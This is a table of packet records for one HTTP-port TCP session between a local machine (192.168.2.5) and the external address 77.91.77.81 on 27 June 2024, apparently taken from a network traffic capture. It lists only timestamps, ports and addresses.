Jun 27, 2024 07:37:22.438218117 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.438226938 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.438235044 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.438242912 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.438251972 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.438260078 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.438267946 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.438278913 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.438283920 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.438296080 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.438301086 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.438312054 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.438318014 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.438328028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.438335896 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.438366890 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.438698053 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.438735008 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.438746929 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.438755989 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.438765049 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.438776016 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.438872099 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.438878059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.438888073 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.438899040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.438910007 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.438925028 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.438930035 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.438946962 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.493283033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.493341923 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.493354082 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.493365049 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.493387938 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.493405104 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.493413925 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.493424892 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.493434906 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.493448973 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.493458033 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.493518114 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.493613958 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.493626118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.493637085 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.493680000 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.493849993 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.493860960 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.493886948 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.493895054 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.493904114 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.493912935 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.493922949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.493930101 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.493940115 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.493947983 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.493957043 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.493968010 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.493974924 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.493984938 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.494014978 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.494198084 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.494209051 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.494215012 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.494220018 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.494225025 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.494230986 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.494283915 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.494463921 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.494503975 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.494513988 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.494523048 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.494575977 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.494575977 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.523036003 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.523080111 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.523091078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.523098946 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.523130894 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.523226023 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.523236990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.523247957 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.523260117 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.523267984 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.523278952 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.523303032 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.523338079 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.523426056 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.523436069 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.523447037 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.523473024 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.523504019 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.523561954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.523572922 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.523582935 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.523608923 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.523638010 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.523750067 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.523792028 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.523811102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.523822069 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.523857117 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.523869038 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.523946047 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.523957014 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.523968935 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.523978949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.523989916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.524009943 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.524027109 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.524188042 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.524199009 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.524209976 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.524219990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.524230957 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.524238110 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.524275064 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.524354935 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.524420977 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.524451017 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.524461985 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.524472952 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.524492979 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.524502993 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.524524927 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.524554968 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.524583101 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.524594069 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.524604082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.524612904 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.524627924 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.524636984 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.524646997 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.524656057 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.524663925 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.524686098 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.524718046 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.524983883 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.524993896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.525007010 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.525019884 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.525027037 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.525037050 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.525048018 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.525053978 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.525067091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.525079966 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.525101900 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.525505066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.525516987 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.525528908 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.525537968 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.525547981 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.525557041 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.525564909 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.525573015 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.525584936 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.525599003 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.525605917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.525616884 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.525624990 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.525634050 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.525645971 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.525654078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.525665998 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.525676012 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.525684118 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.525692940 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.525705099 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.525713921 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.525729895 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.525748014 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.525934935 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.525945902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.525995016 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.526025057 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.526036978 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.526046991 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.526057959 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.526065111 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.526074886 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.526087046 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.526096106 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.526104927 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.526115894 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.526128054 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.526133060 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.526144028 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.526184082 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.526590109 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.526601076 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.526611090 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.526623011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.526633024 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.526647091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.526650906 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.526660919 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.526669025 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.526678085 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.526685953 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.526695967 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.526707888 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.526715994 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.526727915 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.526738882 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.526755095 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.526762962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.526772976 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.526778936 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.526802063 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.526825905 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.581134081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.581150055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.581161022 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.581204891 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.581243038 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.581283092 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.581327915 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.581456900 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.581473112 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.581484079 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.581494093 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.581535101 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.582113028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.582122087 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.582133055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.582143068 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.582170010 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.582195997 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.582214117 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.582226038 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.582237005 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.582252026 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.582283020 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.582398891 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.582413912 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.582426071 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.582436085 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.582442999 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.582452059 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.582461119 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.582484007 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.582525015 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.582583904 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.582593918 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.582604885 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.582616091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.582623005 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.582633972 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.582644939 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.582652092 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.582662106 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.582686901 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.582705021 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.582742929 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.582791090 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.610507965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.610522985 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.610534906 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.610585928 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.610611916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.610622883 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.610632896 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.610641003 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.610651970 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.610663891 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.610671997 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.610694885 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.610716105 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.610781908 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.610794067 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.610821009 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.610831022 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.610840082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.610876083 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.610893965 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.610968113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.610980988 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.610991955 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.611002922 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.611011982 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.611036062 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.611078024 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.611560106 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.611571074 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.611581087 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.611604929 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.611635923 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.611696959 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.611707926 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.611718893 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.611731052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.611738920 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.611748934 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.611757040 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.611783981 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.611948967 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.611958981 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.611969948 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.611979961 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.611991882 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.612003088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.612010002 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.612040997 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.612139940 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.612185001 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.612253904 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.612266064 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.612276077 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.612287045 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.612294912 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.612306118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.612315893 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.612323046 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.612334013 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.612345934 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.612351894 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.612369061 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.612597942 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.612610102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.612623930 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.612629890 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.612646103 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.612662077 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.612834930 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.612847090 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.612857103 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.612876892 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.612885952 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.612895966 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.612906933 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.612917900 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.612930059 CEST	49706	80	192.168.2.5	77.91.77.81
